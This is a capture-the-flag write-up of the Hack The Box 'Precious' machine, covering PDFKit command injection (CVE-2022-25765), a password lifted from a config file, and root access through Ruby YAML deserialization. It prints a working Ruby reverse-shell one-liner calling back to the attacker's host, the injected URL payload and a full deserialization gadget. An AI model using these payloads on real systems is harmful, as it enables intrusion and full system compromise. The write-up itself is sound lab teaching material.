Hack The Box: Precious Writeup
Precious is a Hack The Box Linux machine running a custom web service to fetch URLs and generate PDFs from their content. The web application was vulnerable to command injection (CVE-2022-25765 [1]).
With credentials leaked in a configuration file, privileges were escalated to a sudo user who was allowed to run a ruby script as root. The script reads a YAML file and thus allowed code execution as root through ruby YAML deserialization [2].
Walkthrough
In order to correctly resolve the box's name, the hostname and IP of the box were appended to the hosts file on the assessment machine:
echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts
Next, a simple discovery scan of the top 1k ports revealed a web and an SSH server listening on the machine:
sudo nmap --open precious.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 10:24 CEST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
The web service seems to be a simple web page that offers converting web pages to PDFs:
This immediately screams Server-Side-Request-Forgery (SSRF). Although this functionality is intended here, users can make the web server send a web request to a target they choose. The expectation is, that the web server will make an HTTP web request to fetch the resource at the URL and process the content internally to produce a PDF from it.
In order to verify the SSRF, I spun up a netcat listener on my attack host and entered an URL pointing to the attack host into the form.
Entered URL:
http://10.10.16.2/doc.pdf
In fact, the server tried to fetch the resource and the netcat listener captured the request:
sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 39970
GET /doc.pdf HTTP/1.1
Host: 10.10.16.2
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
The User-Agent contains information about the program making the request: wkhtmltopdf
. The tool was vulnerable to SSRF and Local File Inclusions [3] in the past, but I couldn’t reproduce these attacks on this instance.
As I tried another class of web attacks, command line injection, I was able to discover vulnerability in the application, that allowed the further exploitation of the system.
I started another netcat listener on the attack machine and entered this URL on the web app:
http://10.10.16.2/$(whoami)
The netcat listener captured the request:
sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 53852
GET /ruby HTTP/1.1
<SNIP>
As the last line before snipping shows, the web server executed the sub command before making the request. This indicates that the URL paremeter is passed into a shell that does command substitution before evaluating the whole command. Therefore, it is possible to remotely execute arbitrary commands using this vulnerability.
Digging deeper into the discovered command injection vulnerability, I discovered PDFKit. PDFKit is a tool to create PDFs from HTML and CSS. It builds on wkhtmltopdf on the backend and suffered from a command injection vulnerability (CVE-2022-25765 [1]) in the past - just as the web app on Precious!
In order to exploit this, I used revshells to create a reverse shell for ruby:
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.2",8080))'
Then, I used a payload, similar to PoC code [4] for the vulnerability, to connect to a netcat listener I spun up on port 8080.
Entered URL:
http://10.10.16.2/%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.2",8080))'`
The web server connected back with a reverse shell. The passwd files reveals additional users that have a shell configured:
nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 43210
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
Enumerating the home directory of the ruby user, I discovered a file (/home/ruby/.bundle/config
) that contained Henry’s password:
henry:Q3c1A<SNIP>
Using the password, I logged in via SSH as Henry
ssh -l henry precious.htb
[email protected]'s password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
<SNIP>
henry@precious:~$ wc -c user.txt
33 user.txt
Henry is a sudo user and is able to run exactly one command as root, without a password:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Then I tried to discover a vulnerability in update_dependencies.rb
to escalate privileges to root:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
As it turns out, this updater reads the ruby gems from the relative path ./dependencies.yml
.
In fact, a universal gadget can be used to gain code execution using unsafe deserialization in ruby 2.x.
The gadget taken from PayloadAllTheThings drops to an interactive bash session upon deserializing the gadget with ruby. I saved this gadget to dependencies.yml
:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: bash -i
method_id: :resolve
Finally, I executed the updater script using sudo as henry and got a shell session as root, fully compromising the machine:
Thank you for reading, and have a fun time with CTFs.
Archived references:
- [1] https://web.archive.org/web/20230220030122/https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
- [2] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/af4ade2a44dc1f4f01cc76092ad4db712c278a4b/Insecure%20Deserialization/Ruby.md
- [3] https://web.archive.org/web/20220922170604/http://hassankhanyusufzai.com/SSRF-to-LFI/
- [4] https://web.archive.org/web/20230224084614/https://github.com/shamo0/PDFkit-CMD-Injection